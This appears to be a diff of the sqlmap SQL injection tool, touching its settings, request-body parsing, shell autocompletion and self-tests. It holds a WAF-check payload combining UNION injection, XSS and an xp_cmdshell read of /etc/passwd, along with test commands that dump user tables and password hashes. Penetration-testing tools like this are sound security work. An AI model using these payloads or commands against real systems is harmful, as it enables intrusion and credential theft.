 WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -486,6 +534,9 @@ GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
 # Prefix for configuration overriding environment variables
 SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
 
+# General OS environment variables that can be used for setting proxy address
+PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")
+
 # Turn off resume console info to avoid potential slowdowns
 TURN_OFF_RESUME_INFO_LIMIT = 20
 
@@ -534,6 +585,9 @@ HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
 # Table used for Base64 conversion in WordPress hash cracking routine
 ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
 
+# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox)
+IGNORED_OPTIONS = ("--compressed",)
+
 # Chars used to quickly distinguish if the user provided tainted parameter values
 DUMMY_SQL_INJECTION_CHARS = ";()'"
 
@@ -556,16 +610,16 @@ BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
 SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
 
 # Period after last-update to start nagging about the old revision
-LAST_UPDATE_NAGGING_DAYS = 60
+LAST_UPDATE_NAGGING_DAYS = 180
 
 # Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
 MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
 
-# Generic address for checking the Internet connection while using switch --check-internet
-CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
+# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9)
+CHECK_INTERNET_ADDRESS = "http://ipinfo.io/json"
 
 # Value to look for in response to CHECK_INTERNET_ADDRESS
-CHECK_INTERNET_VALUE = "IP Address Details"
+CHECK_INTERNET_VALUE = '"ip":'
 
 # Payload used for checking of existence of WAF/IPS (dummier the better)
 IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
@@ -659,7 +713,7 @@ LARGE_OUTPUT_THRESHOLD = 1024 ** 2
 SLOW_ORDER_COUNT_THRESHOLD = 10000
 
 # Give up on hash recognition if nothing was found in first given number of rows
-HASH_RECOGNITION_QUIT_THRESHOLD = 10000
+HASH_RECOGNITION_QUIT_THRESHOLD = 1000
 
 # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
 HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
@@ -719,7 +773,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
 CHECK_ZERO_COLUMNS_THRESHOLD = 10
 
 # Boldify all logger messages containing these "patterns"
-BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than")
+BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ")
 
 # TLDs used in randomization of email-alike parameter values
 RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
@@ -764,10 +818,10 @@ INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
 XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
 
 # Regular expression used for detecting JSON POST data
-JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z'
+JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
 
 # Regular expression used for detecting JSON-like POST data
-JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
+JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z"
 
 # Regular expression used for detecting multipart POST data
 MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
@@ -868,14 +922,24 @@ for key, value in os.environ.items():
     if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
         _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
         if _ in globals():
-            globals()[_] = value
+            original = globals()[_]
+            if isinstance(original, int):
+                try:
+                    globals()[_] = int(value)
+                except ValueError:
+                    pass
+            elif isinstance(original, bool):
+                globals()[_] = value.lower() in ('1', 'true')
+            elif isinstance(original, (list, tuple)):
+                globals()[_] = [__.strip() for __ in _.split(',')]
+            else:
+                globals()[_] = value
 
 # Installing "reversible" unicode (decoding) error handler
 def _reversible(ex):
-    if isinstance(ex, UnicodeDecodeError):
-        if INVALID_UNICODE_PRIVATE_AREA:
-            return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
-        else:
-            return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
+    if INVALID_UNICODE_PRIVATE_AREA:
+        return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
+    else:
+        return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
 
 codecs.register_error("reversible", _reversible)

lib/core/shell.py

@@ -118,19 +118,24 @@ def autoCompletion(completion=None, os=None, commands=None):
         if os == OS.WINDOWS:
             # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
             completer = CompleterNG({
-                "copy": None, "del": None, "dir": None,
-                "echo": None, "md": None, "mem": None,
+                "attrib": None, "copy": None, "del": None,
+                "dir": None, "echo": None, "fc": None,
+                "label": None, "md": None, "mem": None,
                 "move": None, "net": None, "netstat -na": None,
-                "ver": None, "xcopy": None, "whoami": None,
+                "tree": None, "truename": None, "type": None,
+                "ver": None, "vol": None, "xcopy": None,
             })
 
         else:
             # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
             completer = CompleterNG({
-                "cp": None, "rm": None, "ls": None,
-                "echo": None, "mkdir": None, "free": None,
-                "mv": None, "ifconfig": None, "netstat -natu": None,
-                "pwd": None, "uname": None, "id": None,
+                "cat": None, "chmod": None, "chown": None,
+                "cp": None, "cut": None, "date": None, "df": None,
+                "diff": None, "du": None, "echo": None, "env": None,
+                "file": None, "find": None, "free": None, "grep": None,
+                "id": None, "ifconfig": None, "ls": None, "mkdir": None,
+                "mv": None, "netstat": None, "pwd": None, "rm": None,
+                "uname": None, "whoami": None,
             })
 
         readline.set_completer(completer.complete)

lib/core/target.py

@@ -106,12 +106,12 @@ def _setRequestParams():
         conf.data = ""
 
     if conf.data is not None:
-        conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
+        conf.method = conf.method or HTTPMETHOD.POST
 
         def process(match, repl):
             retVal = match.group(0)
 
-            if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
+            if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'):
                 retVal = repl
                 while True:
                     _ = re.search(r"\\g<([^>]+)>", retVal)
@@ -120,12 +120,12 @@ def _setRequestParams():
                     else:
                         break
                 if kb.customInjectionMark in retVal:
-                    hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
+                    hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name")))
 
             return retVal
 
         if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
-            message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
+            message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method)
             message += "body. Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
@@ -138,13 +138,14 @@ def _setRequestParams():
                     kb.testOnlyCustom = True
 
         if re.search(JSON_RECOGNITION_REGEX, conf.data):
-            message = "JSON data found in %s data. " % conf.method
+            message = "JSON data found in %s body. " % conf.method
             message += "Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
             if choice == 'Q':
                 raise SqlmapUserQuitException
             elif choice == 'Y':
+                kb.postHint = POST_HINT.JSON
                 if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                     conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                     conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
@@ -159,68 +160,66 @@ def _setRequestParams():
                                 _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
                                 conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
 
-                kb.postHint = POST_HINT.JSON
-
         elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
-            message = "JSON-like data found in %s data. " % conf.method
+            message = "JSON-like data found in %s body. " % conf.method
             message += "Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
             if choice == 'Q':
                 raise SqlmapUserQuitException
             elif choice == 'Y':
+                kb.postHint = POST_HINT.JSON_LIKE
                 if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                     conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                     conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
-                    conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
-                    conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
-
-                kb.postHint = POST_HINT.JSON_LIKE
+                    if '"' in conf.data:
+                        conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
+                        conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
+                    else:
+                        conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
+                        conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
 
         elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
-            message = "Array-like data found in %s data. " % conf.method
+            message = "Array-like data found in %s body. " % conf.method
             message += "Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
             if choice == 'Q':
                 raise SqlmapUserQuitException
             elif choice == 'Y':
+                kb.postHint = POST_HINT.ARRAY_LIKE
                 if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                     conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                     conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
 
-                kb.postHint = POST_HINT.ARRAY_LIKE
-
         elif re.search(XML_RECOGNITION_REGEX, conf.data):
-            message = "SOAP/XML data found in %s data. " % conf.method
+            message = "SOAP/XML data found in %s body. " % conf.method
             message += "Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
             if choice == 'Q':
                 raise SqlmapUserQuitException
             elif choice == 'Y':
+                kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
                 if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                     conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                     conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                     conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
 
-                kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
-
         elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
-            message = "Multipart-like data found in %s data. " % conf.method
+            message = "Multipart-like data found in %s body. " % conf.method
             message += "Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
             if choice == 'Q':
                 raise SqlmapUserQuitException
             elif choice == 'Y':
+                kb.postHint = POST_HINT.MULTIPART
                 if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                     conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                     conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                     conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
 
-                kb.postHint = POST_HINT.MULTIPART
-
         if not kb.postHint:
             if kb.customInjectionMark in conf.data:  # later processed
                 pass
@@ -401,7 +400,7 @@ def _setRequestParams():
         raise SqlmapGenericException(errMsg)
 
     if conf.csrfToken:
-        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
             errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
             errMsg += "found in provided GET, POST, Cookie or header values"
             raise SqlmapGenericException(errMsg)
@@ -491,7 +490,7 @@ def _resumeDBMS():
 
     dbms = value.lower()
     dbmsVersion = [UNKNOWN_DBMS_VERSION]
-    _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
+    _ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
     _ = re.search(r"\A%s (.*)" % _, dbms, re.I)
 
     if _:

lib/core/testing.py

@@ -5,59 +5,32 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-from __future__ import division
-
-import codecs
 import doctest
 import logging
 import os
 import random
 import re
-import shutil
 import socket
 import sqlite3
 import sys
 import tempfile
 import threading
 import time
-import traceback
 
-from extra.beep.beep import beep
 from extra.vulnserver import vulnserver
-from lib.controller.controller import start
-from lib.core.common import clearColors
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import randomInt
 from lib.core.common import randomStr
-from lib.core.common import readXmlFile
 from lib.core.common import shellExec
 from lib.core.compat import round
 from lib.core.compat import xrange
 from lib.core.convert import encodeBase64
-from lib.core.convert import getUnicode
-from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.data import queries
-from lib.core.enums import MKSTEMP_PREFIX
-from lib.core.exception import SqlmapBaseException
-from lib.core.exception import SqlmapNotVulnerableException
-from lib.core.log import LOGGER_HANDLER
-from lib.core.option import init
-from lib.core.option import initOptions
-from lib.core.option import setVerbosity
-from lib.core.optiondict import optDict
-from lib.core.settings import UNICODE_ENCODING
-from lib.parse.cmdline import cmdLineParser
-
-class Failures(object):
-    failedItems = None
-    failedParseOn = None
-    failedTraceBack = None
-
-_failures = Failures()
-_rand = 0
+from lib.core.patch import unisonRandom
 
 def vulnTest():
     """
@@ -65,29 +38,40 @@ def vulnTest():
     """
 
     TESTS = (
-        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
-        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)),
+        ("-h", ("to see full list of options run with '-hh'",)),
+        ("--dependencies", ("sqlmap requires", "third-party library")),
+        ("-u <url> --flush-session --wizard", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
+        (u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
+        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
+        ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
+        ("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)),
         ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
-        ("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
+        ("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
+        ("<piped> -r <request> -l <log> --flush-session --banner --technique=B", ("banner: '3.", "STDIN")),
         ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
         ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
+        ("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)),
+        ("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)),
+        ("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
+        ("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
         ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
         ("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
         ("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
-        ("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
-        ("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
+        ("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --har=<tmp> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
+        ("-u <url> --flush-session -H 'id: 1*' --tables -t <tmp>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
         ("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
         ("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
         ("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
         ("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
         ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
-        ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")),
+        ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
         ("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
         ("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
         ("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
         ("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
-        ("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
+        ("-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
         ("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
+        ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
     )
 
     retVal = True
@@ -106,9 +90,16 @@ def vulnTest():
         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         try:
             s.connect((address, port))
-            break
+            s.send(b"GET / HTTP/1.0\r\n\r\n")
+            if b"vulnserver" in s.recv(4096):
+                break
         except:
             time.sleep(1)
+        finally:
+            s.close()
+
+    handle, config = tempfile.mkstemp(suffix=".conf")
+    os.close(handle)
 
     handle, database = tempfile.mkstemp(suffix=".sqlite")
     os.close(handle)
@@ -131,16 +122,32 @@ def vulnTest():
     url = "http://%s:%d/?id=1" % (address, port)
     direct = "sqlite3://%s" % database
 
+    content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
+    open(config, "w+").write(content)
+
     for options, checks in TESTS:
         status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
         dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
 
-        cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log))
+        for tag, value in (("<url>", url), ("<direct>", direct), ("<request>", request), ("<log>", log), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
+            options = options.replace(tag, value)
+
+        cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
+
+        if "<tmp>" in cmd:
+            handle, tmp = tempfile.mkstemp()
+            os.close(handle)
+            cmd = cmd.replace("<tmp>", tmp)
+
+        if "<piped>" in cmd:
+            cmd = re.sub(r"<piped>\s*", "", cmd)
+            cmd = "echo %s | %s" % (url, cmd)
+
         output = shellExec(cmd)
 
-        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
+        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
             dataToStdout("---\n\n$ %s\n" % cmd)
-            dataToStdout("%s---\n" % clearColors(output))
+            dataToStdout("%s---\n" % output, coloring=False)
             retVal = False
 
         count += 1
@@ -153,50 +160,189 @@ def vulnTest():
 
     return retVal
 
-def dirtyPatchRandom():
+def bedTest():
     """
-    Unifying random generated data across different Python versions
+    Runs the testing against 'testbed'
     """
 
-    def _lcg():
-        global _rand
-        a = 1140671485
-        c = 128201163
-        m = 2 ** 24
-        _rand = (a * _rand + c) % m
-        return _rand
+    TESTS = (
+        # MaxDB
+        ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
 
-    def _randint(a, b):
-        _ = a + (_lcg() % (b - a + 1))
-        return _
+        # Informix
+        ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("retrieved: 47", "IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")),
+        ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
 
-    def _choice(seq):
-        return seq[_randint(0, len(seq) - 1)]
+        # Altibase
+        ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")),
